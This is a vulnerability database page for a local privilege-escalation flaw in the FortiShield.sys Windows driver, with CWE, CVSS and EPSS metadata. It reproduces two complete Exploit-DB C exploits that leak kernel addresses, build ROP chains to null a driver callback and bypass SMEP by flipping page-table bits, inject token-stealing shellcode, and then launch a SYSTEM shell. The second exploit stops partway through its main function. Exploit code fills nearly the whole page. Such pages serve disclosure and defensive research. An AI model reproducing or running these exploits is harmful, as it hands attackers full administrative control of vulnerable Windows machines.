Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 45149
Publication date : 2018-08-04 22h00 +00:00
Author : sickness & mschenk
EDB Verified : Yes
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>
#include <Shlobj.h>
#pragma comment (lib,"psapi")
PULONGLONG leak_buffer = (PULONGLONG)VirtualAlloc((LPVOID)0x000000001a000000, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
ULONGLONG leakQWORD(ULONGLONG addr, HANDLE driver)
{
memset((LPVOID)0x000000001a000000, 0x11, 0x1000);
memset((LPVOID)0x000000001a001000, 0x22, 0x1000);
leak_buffer[0] = 0x000000001a000008;
leak_buffer[1] = 0x0000000000000003;
leak_buffer[4] = 0x000000001a000028;
leak_buffer[6] = addr - 0x70;
DWORD IoControlCode = 0x22608C;
LPVOID InputBuffer = (LPVOID)0x000000001a000000;
DWORD InputBufferLength = 0x20;
LPVOID OutputBuffer = (LPVOID)0x000000001a001000;
DWORD OutputBufferLength = 0x110;
DWORD lpBytesReturned;
BOOL triggerIOCTL;
triggerIOCTL = DeviceIoControl(driver, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
if (!triggerIOCTL)
{
printf("[!] Error in the SYSCALL: %d\n", GetLastError());
}
ULONGLONG result = leak_buffer[0x202];
return result;
}
ULONGLONG leakNtBase(HANDLE driver)
{
ULONGLONG teb = (ULONGLONG)NtCurrentTeb();
ULONGLONG thread = *(PULONGLONG)(teb + 0x78);
ULONGLONG threadInfo = leakQWORD(thread, driver);
ULONGLONG ntAddr = leakQWORD(threadInfo + 0x2a8, driver);
ULONGLONG baseAddr = 0;
ULONGLONG signature = 0x00905a4d;
ULONGLONG searchAddr = ntAddr & 0xFFFFFFFFFFFFF000;
while (TRUE)
{
ULONGLONG readData = leakQWORD(searchAddr, driver);
ULONGLONG tmp = readData & 0xFFFFFFFF;
/*
printf("%llx\n", readData);
printf("%llx\n", tmp);
*/
if (tmp == signature)
{
baseAddr = searchAddr;
break;
}
searchAddr = searchAddr - 0x1000;
}
return baseAddr;
}
ULONGLONG leakFortiBase(HANDLE driver, ULONGLONG ntBase)
{
ULONGLONG PsLoadModuleListAddr = ntBase + 0x34c5a0;
ULONGLONG searchAddr = leakQWORD(PsLoadModuleListAddr, driver);
ULONGLONG addr = 0;
while (1)
{
ULONGLONG namePointer = leakQWORD(searchAddr + 0x60, driver);
ULONGLONG name = leakQWORD(namePointer, driver);
if (name == 0x00740072006f0046)
{
name = leakQWORD(namePointer + 8, driver);
if (name == 0x0069006800530069)
{
addr = leakQWORD(searchAddr + 0x30, driver);
break;
}
}
searchAddr = leakQWORD(searchAddr, driver);
}
return addr;
}
ULONGLONG allocate_fake_stack(ULONGLONG ntBase, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result)
{
PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000f5ffe000, 0x12000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (fake_stack == NULL)
{
printf("[!] Error while allocating the fake stack: %d\n", GetLastError());
return 1;
}
memset(fake_stack, 0x41, 0x12000);
PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x2000;
DWORD index = 0;
// <NULL Callback>
ropStack[index] = ntBase + 0x1684ef; index++; // pop rax ; pop rcx ; ret
ropStack[index] = fortishield_callback; index++; // FortiShield Callback
ropStack[index] = 0x0000000000000000; index++; // NULL
ropStack[index] = ntBase + 0x937eb; index++; // mov qword [rax], rcx ; ret
// </NULL Callback>
// <Flip U=S bit>
ropStack[index] = ntBase + 0x88614; index++; // pop rax ; ret
ropStack[index] = pte_result; index++; // PTE VA
ropStack[index] = ntBase + 0x1a3cb2; index++; // pop rdx ; ret
ropStack[index] = 0x0000000000000063; index++; // DIRTY + ACCESSED + R/W + PRESENT
ropStack[index] = ntBase + 0xe8a8b; index++; // mov byte [rax], dl ; add eax, 0x01740000 ; ret
ropStack[index] = ntBase + 0x11e000; index++; // wbinvd ; ret
// </Flip U=S bit>
// <Restore variables & shellcode>
ropStack[index] = 0x00000000f6000100; index++; // Shellcode address
ropStack[index] = fortishield_restore; index++; // FortiShield return location
// </Restore variables & shellcode>
char token_steal[] =
"\x48\x31\xc0\x65\x48\x8b\x80"
"\x88\x01\x00\x00\x48\x8b\x80"
"\xb8\x00\x00\x00\x49\x89\xc0"
"\x48\x8b\x80\xe8\x02\x00\x00"
"\x48\x2d\xe8\x02\x00\x00\x48"
"\x8b\x88\xe0\x02\x00\x00\x48"
"\x83\xf9\x04\x75\xe6\x4c\x8b"
"\x88\x58\x03\x00\x00\x4d\x89"
"\x88\x58\x03\x00\x00\x3E\x48"
"\x8B\x04\x24\x48\x89\xF4\x48"
"\x83\xEC\x20\xFF\xE0";
memcpy((fake_stack + 0x2020), token_steal, sizeof(token_steal));
return 0;
}
ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start)
{
ULONGLONG result = address >> 9;
result = result | pte_start;
result = result & (pte_start + 0x0000007ffffffff8);
return result;
}
int trigger_callback()
{
printf("[+] Creating dummy file\n");
system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test.txt");
printf("[+] Calling MoveFileEx()\n");
BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test2.txt", MOVEFILE_REPLACE_EXISTING);
if (MFEresult == 0)
{
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
return 1;
}
return 0;
}
int main()
{
LoadLibraryA("user32.dll"); // Populate Win32ThreadInfo
HANDLE mdare = CreateFile(L"\\\\.\\mdareDriver_48", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (mdare == INVALID_HANDLE_VALUE)
{
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
HANDLE forti = CreateFile(L"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (forti == INVALID_HANDLE_VALUE)
{
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
LPDWORD hThread_id = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
if (hThread == NULL)
{
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
return 1;
}
BOOL hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
if (hThread_priority == 0)
{
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
return 1;
}
ULONGLONG ntBase = leakNtBase(mdare);
ULONGLONG ntPivot = ntBase + 0x1ab3ec; // mov esp, 0xf6000000; retn;
ULONGLONG ntMiGetPteAddressOffset = leakQWORD(ntBase + 0x62aeb, mdare);
ULONGLONG fortishieldBase = leakFortiBase(mdare, ntBase);
ULONGLONG fortishield_callback = fortishieldBase + 0xd150;
ULONGLONG fortishield_restore = fortishieldBase + 0x2f73;
printf("[+] ntoskrnl.exe base address is: 0x%llx\n", ntBase);
printf("[+] PTE VA start address is: 0x%llx\n", ntMiGetPteAddressOffset);
printf("[+] FortiShield.sys base address is: 0x%llx\n", fortishieldBase);
ULONGLONG pte_result = get_pxe_address_64(0xf6000000, ntMiGetPteAddressOffset);
printf("[+] PTE virtual address for 0xf6000000: %I64x\n", pte_result);
allocate_fake_stack(ntBase, fortishield_callback, fortishield_restore, pte_result);
DWORD IoControlCode = 0x220028;
ULONGLONG InputBuffer = ntPivot;
DWORD InputBufferLength = 0x8;
ULONGLONG OutputBuffer = 0x0;
DWORD OutputBufferLength = 0x0;
DWORD lpBytesReturned;
//DebugBreak();
BOOL triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
system("start cmd.exe");
return 0;
}
Exploit Database EDB-ID : 41722
Publication date : 2017-03-24 23h00 +00:00
Author : sickness
EDB Verified : Yes
/*
Check these out:
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/
Tested on:
- Windows 10 Pro x64 (Post-Anniversary)
- ntoskrnl.exe: 10.0.14393.953
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D
*/
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>
#pragma comment (lib,"psapi")
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "User32.lib")
#define object_number 0x02
#define accel_array_size 0x2b6
#define STATUS_SUCCESS 0x00000000
typedef void** PPVOID;
typedef struct _tagSERVERINFO {
UINT64 pad;
UINT64 cbHandleEntries;
} SERVERINFO, *PSERVERINFO;
typedef struct _HANDLEENTRY {
PVOID pHeader; // Pointer to the Object
PVOID pOwner; // PTI or PPI
UCHAR bType; // Object handle type
UCHAR bFlags; // Flags
USHORT wUniq; // Access count
} HANDLEENTRY, *PHANDLEENTRY;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
} SHAREDINFO, *PSHAREDINFO;
ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) {
ULONGLONG result = address >> 9;
result = result | pte_start;
result = result & (pte_start + 0x0000007ffffffff8);
return result;
}
HMODULE ntdll;
HMODULE user32dll;
struct bitmap_structure {
HBITMAP manager_bitmap;
HBITMAP worker_bitmap;
};
struct bitmap_structure create_bitmaps(HACCEL hAccel[object_number]) {
struct bitmap_structure bitmaps;
char *manager_bitmap_memory;
char *worker_bitmap_memory;
HBITMAP manager_bitmap;
HBITMAP worker_bitmap;
int nWidth = 0x703;
int nHeight = 2;
unsigned int cPlanes = 1;
unsigned int cBitsPerPel = 8;
const void *manager_lpvBits;
const void *worker_lpvBits;
manager_bitmap_memory = malloc(nWidth * nHeight);
memset(manager_bitmap_memory, 0x00, sizeof(manager_bitmap_memory));
manager_lpvBits = manager_bitmap_memory;
worker_bitmap_memory = malloc(nWidth * nHeight);
memset(worker_bitmap_memory, 0x00, sizeof(worker_bitmap_memory));
worker_lpvBits = worker_bitmap_memory;
BOOL destroy_table;
destroy_table = DestroyAcceleratorTable(hAccel[0]);
if (destroy_table == 0) {
printf("[!] Failed to delete accelerator table[0]: %d\n", GetLastError());
exit(1);
}
manager_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, manager_lpvBits);
if (manager_bitmap == NULL) {
printf("[!] Failed to create BitMap object: %d\n", GetLastError());
exit(1);
}
printf("[+] Manager BitMap HANDLE: %I64x\n", (ULONGLONG)manager_bitmap);
destroy_table = DestroyAcceleratorTable(hAccel[1]);
if (destroy_table == 0) {
printf("[!] Failed to delete accelerator table[1]: %d\n", GetLastError());
exit(1);
}
worker_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, worker_lpvBits);
if (worker_bitmap == NULL) {
printf("[!] Failed to create BitMap object: %d\n", GetLastError());
exit(1);
}
printf("[+] Worker BitMap HANDLE: %I64x\n", (ULONGLONG)worker_bitmap);
bitmaps.manager_bitmap = manager_bitmap;
bitmaps.worker_bitmap = worker_bitmap;
return bitmaps;
}
PHANDLEENTRY leak_table_kernel_address(HMODULE user32dll, HACCEL hAccel[object_number], PHANDLEENTRY handle_entry[object_number]) {
int i;
PSHAREDINFO gSharedInfo;
ULONGLONG aheList;
DWORD handle_entry_size = 0x18;
gSharedInfo = (PSHAREDINFO)GetProcAddress(user32dll, (LPCSTR)"gSharedInfo");
if (gSharedInfo == NULL) {
printf("[!] Error while retrieving gSharedInfo: %d.\n", GetLastError());
return NULL;
}
aheList = (ULONGLONG)gSharedInfo->aheList;
printf("[+] USER32!gSharedInfo located at: %I64x\n", (ULONGLONG)gSharedInfo);
printf("[+] USER32!gSharedInfo->aheList located at: %I64x\n", (ULONGLONG)aheList);
for (i = 0; i < object_number; i++) {
handle_entry[i] = (PHANDLEENTRY)(aheList + ((ULONGLONG)hAccel[i] & 0xffff) * handle_entry_size);
}
return *handle_entry;
}
ULONGLONG write_bitmap(HBITMAP bitmap_handle, ULONGLONG to_write) {
ULONGLONG write_operation;
write_operation = SetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_write);
if (write_operation == 0) {
printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
exit(1);
}
return 0;
}
ULONGLONG read_bitmap(HBITMAP bitmap_handle) {
ULONGLONG read_operation;
ULONGLONG to_read;
read_operation = GetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_read);
if (read_operation == 0) {
printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
exit(1);
}
return to_read;
}
HACCEL create_accelerator_table(HACCEL hAccel[object_number], int table_number) {
int i;
table_number = object_number;
ACCEL accel_array[accel_array_size];
LPACCEL lpAccel = accel_array;
printf("[+] Creating %d Accelerator Tables\n", table_number);
for (i = 0; i < table_number; i++) {
hAccel[i] = CreateAcceleratorTableA(lpAccel, accel_array_size);
if (hAccel[i] == NULL) {
printf("[!] Error while creating the accelerator table: %d.\n", GetLastError());
exit(1);
}
}
return *hAccel;
}
LPVOID allocate_rop_chain(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG manager_pvScan_offset, ULONGLONG worker_pvScan_offset) {
HANDLE pid;
pid = GetCurrentProcess();
ULONGLONG rop_chain_address = 0x000000008aff07da;
LPVOID allocate_rop_chain;
allocate_rop_chain = VirtualAlloc((LPVOID*)rop_chain_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocate_rop_chain == NULL) {
printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
exit(1);
}
/* <Null callback> */
ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret
ULONGLONG rop_02 = fortishield_callback;
ULONGLONG rop_03 = 0x0000000000000000; // NULL the callback
ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret
/* </Null callback> */
/* <Overwrite pvScan0> */
ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret
ULONGLONG rop_06 = (ULONGLONG)manager_pvScan_offset; // Manager BitMap pvScan0 offset
ULONGLONG rop_07 = (ULONGLONG)worker_pvScan_offset; // Worker BitMap pvScan0 offset
ULONGLONG rop_08 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret
/* </Overwrite pvScan0> */
/* <Prepare RBX (to write the orignial stack pointer to> */
ULONGLONG rop_09 = (ULONGLONG)kernel_base + 0x62c0c3; // pop rbx ; ret
ULONGLONG rop_10 = 0x000000008b0000e0;
/* </Prepare RBX (to write the orignial stack pointer to> */
/* <Get RSI value (points to the original stack) into RAX> */
ULONGLONG rop_11 = (ULONGLONG)kernel_base + 0x6292eb; // pop rax ; ret
ULONGLONG rop_12 = (ULONGLONG)kernel_base + 0x556dc9; // mov rax, rcx ; add rsp, 0x28 ; ret
ULONGLONG rop_13 = (ULONGLONG)kernel_base + 0x4115ca; // mov rcx, rsi ; call rax
ULONGLONG rop_14 = 0x4141414141414141; // JUNK
ULONGLONG rop_15 = 0x4141414141414141; // JUNK
ULONGLONG rop_16 = 0x4141414141414141; // JUNK
ULONGLONG rop_17 = 0x4141414141414141; // JUNK
/* </Get RSI value (points to the original stack) into RAX> */
/* <Adjust RAX to point to the return address pushed by the call> */
ULONGLONG rop_18 = (ULONGLONG)kernel_base + 0x61260f; // pop rcx ; ret
ULONGLONG rop_19 = 0x0000000000000028; // Get the return address
ULONGLONG rop_20 = (ULONGLONG)kernel_base + 0xd8c12; // sub rax, rcx ; ret
/* </Adjust RAX to point to the return address pushed by the call> */
/* <Overwrite the return from the call with fortishield_restore> */
ULONGLONG rop_21 = (ULONGLONG)kernel_base + 0x61260f; // pop rcx ; ret
ULONGLONG rop_22 = fortishield_restore;
ULONGLONG rop_23 = (ULONGLONG)kernel_base + 0xb7621; // mov qword ptr [rax], rcx ; ret
/* </Overwrite the return from the call with fortishield_restore> */
/* <Write the original stack pointer on our usermode_stack> */
ULONGLONG rop_24 = (ULONGLONG)kernel_base + 0x4cde3e; // mov qword ptr [rbx + 0x10], rax ; add rsp, 0x20 ; pop rbx ; ret
ULONGLONG rop_25 = 0x4141414141414141; // JUNK
ULONGLONG rop_26 = 0x4141414141414141; // JUNK
ULONGLONG rop_27 = 0x4141414141414141; // JUNK
ULONGLONG rop_28 = 0x4141414141414141; // JUNK
ULONGLONG rop_29 = 0x0000000000000000; // Value to be POP'ed in RBX, needs to be 0x00 at the end for restore
/* </Write the original stack pointer on our usermode_stack> */
/* <Restore stack pointer> */
ULONGLONG rop_30 = (ULONGLONG)kernel_base + 0x62b91b; // pop rsp ; ret
/* </Restore stack pointer> */
char *rop_chain;
DWORD rop_chain_size = 0x12000;
rop_chain = (char *)malloc(rop_chain_size);
memset(rop_chain, 0x41, rop_chain_size);
memcpy(rop_chain + 0xf826, &rop_01, 0x08);
memcpy(rop_chain + 0xf82e, &rop_02, 0x08);
memcpy(rop_chain + 0xf836, &rop_03, 0x08);
memcpy(rop_chain + 0xf83e, &rop_04, 0x08);
memcpy(rop_chain + 0xf846, &rop_05, 0x08);
memcpy(rop_chain + 0xf84e, &rop_06, 0x08);
memcpy(rop_chain + 0xf856, &rop_07, 0x08);
memcpy(rop_chain + 0xf85e, &rop_08, 0x08);
memcpy(rop_chain + 0xf866, &rop_09, 0x08);
memcpy(rop_chain + 0xf86e, &rop_10, 0x08);
memcpy(rop_chain + 0xf876, &rop_11, 0x08);
memcpy(rop_chain + 0xf87e, &rop_12, 0x08);
memcpy(rop_chain + 0xf886, &rop_13, 0x08);
memcpy(rop_chain + 0xf88e, &rop_14, 0x08);
memcpy(rop_chain + 0xf896, &rop_15, 0x08);
memcpy(rop_chain + 0xf89e, &rop_16, 0x08);
memcpy(rop_chain + 0xf8a6, &rop_17, 0x08);
memcpy(rop_chain + 0xf8ae, &rop_18, 0x08);
memcpy(rop_chain + 0xf8b6, &rop_19, 0x08);
memcpy(rop_chain + 0xf8be, &rop_20, 0x08);
memcpy(rop_chain + 0xf8c6, &rop_21, 0x08);
memcpy(rop_chain + 0xf8ce, &rop_22, 0x08);
memcpy(rop_chain + 0xf8d6, &rop_23, 0x08);
memcpy(rop_chain + 0xf8de, &rop_24, 0x08);
memcpy(rop_chain + 0xf8e6, &rop_25, 0x08);
memcpy(rop_chain + 0xf8ee, &rop_26, 0x08);
memcpy(rop_chain + 0xf8f6, &rop_27, 0x08);
memcpy(rop_chain + 0xf8fe, &rop_28, 0x08);
memcpy(rop_chain + 0xf906, &rop_29, 0x08);
memcpy(rop_chain + 0xf90e, &rop_30, 0x08);
BOOL WPMresult;
SIZE_T written;
WPMresult = WriteProcessMemory(pid, (LPVOID)rop_chain_address, rop_chain, rop_chain_size, &written);
if (WPMresult == 0)
{
printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
exit(1);
}
printf("[+] Memory allocated at: %p\n", allocate_rop_chain);
return allocate_rop_chain;
}
LPVOID allocate_shellcode(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result) {
HANDLE pid;
pid = GetCurrentProcess();
ULONGLONG shellcode_address = 0x000000008aff07da;
LPVOID allocate_shellcode;
allocate_shellcode = VirtualAlloc((LPVOID*)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocate_shellcode == NULL) {
printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
exit(1);
}
/* <Overwrite PTE> */
ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf; // pop rax; pop rcx; ret
ULONGLONG rop_02 = (ULONGLONG)pte_result; // PTE address
ULONGLONG rop_03 = 0x0000000000000063; // DIRTY + ACCESSED + R/W + PRESENT
ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0x130779; // mov byte ptr [rax], cl ; mov rbx, qword ptr [rsp + 8] ; ret
ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0xc459c; // wbinvd ; ret
ULONGLONG rop_06 = 0x000000008b00081a; // shellcode
ULONGLONG rop_07 = fortishield_callback;
ULONGLONG rop_08 = fortishield_restore;
/* </Overwrite PTE> */
/*
;kd> dt -r1 nt!_TEB
; +0x110 SystemReserved1 : [54] Ptr64 Void
;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
kd> u nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
mov rax,qword ptr gs:[188h]
mov rax,qword ptr [rax+0B8h]
- Token stealing rop_chain & restore:
start:
mov rdx, [gs:0x188]
mov r8, [rdx+0x0b8]
mov r9, [r8+0x2f0]
mov rcx, [r9]
find_system_proc:
mov rdx, [rcx-0x8]
cmp rdx, 4
jz found_it
mov rcx, [rcx]
cmp rcx, r9
jnz find_system_proc
found_it:
mov rax, [rcx+0x68]
and al, 0x0f0
mov [r8+0x358], rax
restore:
mov rbp, qword ptr [rsp+0x80]
xor rbx, rbx
mov [rbp], rbx
mov rbp, qword ptr [rsp+0x88]
mov rax, rsi
mov rsp, rax
sub rsp, 0x20
jmp rbp
*/
char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
"\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
"\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
"\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
"\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
"\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
"\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";
char *shellcode;
DWORD shellcode_size = 0x12000;
shellcode = (char *)malloc(shellcode_size);
memset(shellcode, 0x41, shellcode_size);
memcpy(shellcode + 0xf826, &rop_01, 0x08);
memcpy(shellcode + 0xf82e, &rop_02, 0x08);
memcpy(shellcode + 0xf836, &rop_03, 0x08);
memcpy(shellcode + 0xf83e, &rop_04, 0x08);
memcpy(shellcode + 0xf846, &rop_05, 0x08);
memcpy(shellcode + 0xf84e, &rop_06, 0x08);
memcpy(shellcode + 0xf8d6, &rop_07, 0x08);
memcpy(shellcode + 0xf8de, &rop_08, 0x08);
memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
BOOL WPMresult;
SIZE_T written;
WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written);
if (WPMresult == 0)
{
printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
exit(1);
}
printf("[+] Memory allocated at: %p\n", allocate_shellcode);
return allocate_shellcode;
}
LPVOID GetBaseAddr(char *drvname) {
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
char szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
//printf("%s (%p)\n", szDrivers, drivers[i]);
if (strcmp(szDrivers, drvname) == 0) {
//printf("%s (%p)\n", szDrivers, drivers[i]);
return drivers[i];
}
}
}
}
return 0;
}
DWORD trigger_callback() {
/* This file needs to be on the local HDD to work. */
printf("[+] Creating dummy file\n");
system("echo test > test.txt");
printf("[+] Calling MoveFileEx()\n");
BOOL MFEresult;
MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
if (MFEresult == 0)
{
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
return 1;
}
return 0;
}
int main() {
ntdll = LoadLibrary((LPCSTR)"ntdll");
if (ntdll == NULL) {
printf("[!] Error while loading ntdll: %d\n", GetLastError());
return 1;
}
user32dll = LoadLibrary((LPCSTR)"user32");
if (user32dll == NULL) {
printf("[!] Error while loading user32: %d.\n", GetLastError());
return 1;
}
HACCEL hAccel[object_number];
create_accelerator_table(hAccel, object_number);
PHANDLEENTRY handle_entry[object_number];
leak_table_kernel_address(user32dll, hAccel, handle_entry);
printf(
"[+] Accelerator Table[0] HANDLE: %I64x\n"
"[+] Accelerator Table[0] HANDLE: %I64x\n"
"[+] Accelerator Table[0] kernel address: %I64x\n"
"[+] Accelerator Table[0] kernel address: %I64x\n",
(ULONGLONG)hAccel[0],
(ULONGLONG)hAccel[1],
(ULONGLONG)handle_entry[0]->pHeader,
(ULONGLONG)handle_entry[1]->pHeader
);
ULONGLONG manager_pvScan_offset;
ULONGLONG worker_pvScan_offset;
manager_pvScan_offset = (ULONGLONG)handle_entry[0]->pHeader + 0x18 + 0x38;
worker_pvScan_offset = (ULONGLONG)handle_entry[1]->pHeader + 0x18 + 0x38;
printf("[+] Replacing Accelerator Tables with BitMap objects\n");
struct bitmap_structure bitmaps;
bitmaps = create_bitmaps(hAccel);
printf("[+] Manager BitMap pvScan0 offset: %I64x\n", (ULONGLONG)manager_pvScan_offset);
printf("[+] Worker BitMap pvScan0 offset: %I64x\n", (ULONGLONG)worker_pvScan_offset);
HANDLE forti;
forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (forti == INVALID_HANDLE_VALUE) {
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
LPVOID kernel_base = GetBaseAddr("ntoskrnl.exe");
LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
ULONGLONG kernel_pivot = (ULONGLONG)kernel_base + 0x4efae5;
ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
printf("[+] Kernel found at: %llx\n", (ULONGLONG)kernel_base);
printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
DWORD IoControlCode = 0x220028;
ULONGLONG InputBuffer = kernel_pivot;
DWORD InputBufferLength = 0x8;
ULONGLONG OutputBuffer = 0x0;
DWORD OutputBufferLength = 0x0;
DWORD lpBytesReturned;
LPVOID rop_chain_allocation;
rop_chain_allocation = allocate_rop_chain(kernel_base, fortishield_callback, fortishield_restore, manager_pvScan_offset, worker_pvScan_offset);
HANDLE hThread;
LPDWORD hThread_id = 0;
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
if (hThread == NULL)
{
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
return 1;
}
BOOL hThread_priority;
hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
if (hThread_priority == 0)
{
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
return 1;
}
printf("[+] Press ENTER to trigger the vulnerability.\n");
getchar();
BOOL triggerIOCTL;
ResumeThread(hThread);
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
WaitForSingleObject(hThread, INFINITE);
/* <Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */
ULONGLONG manager_write_pte_offset = (ULONGLONG)kernel_base + 0x47314 + 0x13;
printf("[+] Writing nt!MiGetPteAddress + 0x13 to Worker pvScan0.\n");
getchar();
write_bitmap(bitmaps.manager_bitmap, manager_write_pte_offset);
printf("[+] Reading from Worker pvScan0.\n");
getchar();
ULONGLONG pte_start = read_bitmap(bitmaps.worker_bitmap);
printf("[+] PTE virtual base address: %I64x\n", pte_start);
ULONGLONG pte_result;
ULONGLONG pte_value = 0x8b000000;
pte_result = get_pxe_address_64(pte_value, pte_start);
printf("[+] PTE virtual address for 0x8b000000: %I64x\n", pte_result);
/* </Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */
BOOL VFresult;
VFresult = VirtualFree(rop_chain_allocation, 0x0, MEM_RELEASE);
if (VFresult == 0)
{
printf("[!] Error while calling VirtualFree: %d\n", GetLastError());
return 1;
}
LPVOID shellcode_allocation;
shellcode_allocation = allocate_shellcode(kernel_base, fortishield_callback, fortishield_restore, pte_result);
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
